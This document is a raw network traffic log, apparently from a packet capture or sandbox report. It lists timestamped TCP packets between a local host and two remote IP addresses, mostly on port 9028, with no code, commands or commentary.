                                                                                                                                                                          Dec 13, 2024 08:25:21.774110079 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774118900 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774128914 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774137974 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774147034 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774156094 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774166107 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774173975 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.774250984 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:21.774418116 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:21.775011063 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.775022984 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.775178909 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:21.776237965 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.776251078 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.776371956 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.776385069 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777452946 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:21.777452946 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:21.777642012 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777848959 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777861118 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777872086 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777882099 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777892113 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777900934 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777910948 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777920008 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.777929068 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.778117895 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.778127909 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:21.778625011 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:21.778625965 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.024354935 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024398088 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024429083 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024456978 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024487972 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024516106 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024547100 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024574995 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024604082 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024679899 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.024817944 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024857044 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024885893 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024914026 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024941921 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.024971962 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025001049 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025028944 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025057077 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025085926 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025088072 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.025114059 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025142908 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025167942 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.025190115 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025242090 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025273085 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025295019 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.025415897 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.025907040 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.025944948 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.026150942 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.028377056 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.028417110 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.028446913 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.028476000 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.028584957 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.028659105 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.029434919 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029475927 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029505014 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029534101 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029562950 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029612064 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029654980 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029685020 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029714108 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029742956 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029771090 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.029799938 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.030469894 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.030560017 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.030781984 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276119947 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276139975 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276154995 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276169062 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276182890 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276196957 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276211023 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276226044 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276240110 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276253939 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276264906 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276278019 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276290894 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276304960 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276318073 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276330948 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276344061 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276346922 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276434898 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276588917 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276597023 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276613951 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276633978 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276655912 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276673079 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276684999 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276699066 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276711941 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276726007 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276771069 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276823044 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276876926 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276894093 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.276901007 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.276907921 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.277046919 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.287971020 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.287988901 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288003922 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288017988 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288032055 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288045883 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288132906 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288151026 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288166046 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288178921 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288193941 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288217068 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.288285017 CET902849720147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.288490057 CET497209028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.312535048 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.439690113 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.440072060 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.442979097 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.802100897 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:22.803330898 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:22.812303066 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:23.054317951 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:23.063738108 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:25.971859932 CET4972380192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:26.085985899 CET8049723104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:26.086286068 CET4972380192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:26.086349964 CET4972380192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:26.200323105 CET8049723104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:26.208214998 CET8049723104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:26.249607086 CET4972380192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:25:31.201647043 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:31.490780115 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:31.491043091 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:31.737843990 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:31.738959074 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.036463976 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.036627054 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.092842102 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.092842102 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.092874050 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.092948914 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.092948914 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.092983961 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.331325054 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.344263077 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.344284058 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.344299078 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.344455004 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.344542980 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.344604969 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:32.595632076 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.595649004 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.960001945 CET902849722147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:32.960232973 CET497229028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:44.635782957 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:44.927485943 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:44.927639008 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:45.174361944 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:45.229231119 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:45.471452951 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:45.471613884 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:45.472331047 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:45.475214958 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:45.475334883 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:45.765358925 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:45.765513897 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:46.062247038 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:50.020139933 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:50.312844992 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:50.313064098 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:50.599467993 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:58.070305109 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:58.369092941 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:58.369245052 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:58.616158009 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:58.663815975 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:58.898329973 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:58.898480892 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:58.899144888 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:58.909784079 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:58.909935951 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:59.193769932 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:25:59.194005013 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:25:59.488993883 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:11.504905939 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:11.801465034 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:11.801733017 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:12.048631907 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:12.049694061 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:12.349478006 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:12.349706888 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:12.646786928 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:16.753751040 CET4972380192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:26:16.868244886 CET8049723104.16.185.241192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:16.868422985 CET4972380192.168.11.20104.16.185.241
                                                                                                                                                                          Dec 13, 2024 08:26:24.939326048 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:25.236196995 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:25.236380100 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:25.483088017 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:25.532901049 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:25.778928041 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:25.779787064 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:26.079937935 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:26.080172062 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:26.327260017 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:26.328178883 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:26.624684095 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:26.624910116 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:26.921854973 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:27.142071009 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:27.437460899 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:27.437714100 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:27.684530020 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:27.685415030 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:27.985001087 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:27.985409975 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:28.277896881 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:30.531939030 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:30.706466913 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:30.706516027 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:30.820782900 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:30.952721119 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:30.953536987 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:31.000439882 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:31.246834993 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:31.247807980 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:31.536509037 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:31.536637068 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:31.833619118 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:37.405550003 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:37.702441931 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:37.702816963 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:37.949594975 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:38.008152008 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:38.254276991 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:38.255770922 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:38.542763948 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:38.542895079 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:38.837176085 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:39.654993057 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:39.957020998 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:39.957297087 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:40.204056978 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:40.204289913 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:40.451718092 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:40.452682018 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:40.748862982 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:40.749054909 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:41.044183969 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:46.419073105 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:46.718482018 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:46.718699932 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:46.965580940 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:47.012542009 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:47.258650064 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:47.259484053 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:47.558150053 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:47.558378935 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:47.852812052 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:48.418632984 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:48.711514950 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:48.711735964 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:48.958362103 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:48.958570957 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:49.204670906 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:49.204838037 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:49.506167889 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:49.506390095 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:49.753463984 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:49.809505939 CET497159028192.168.11.20147.185.221.22
                                                                                                                                                                          Dec 13, 2024 08:26:50.055784941 CET902849715147.185.221.22192.168.11.20
                                                                                                                                                                          Dec 13, 2024 08:26:50.056579113 CET497159028192.168.11.20147.185.221.22
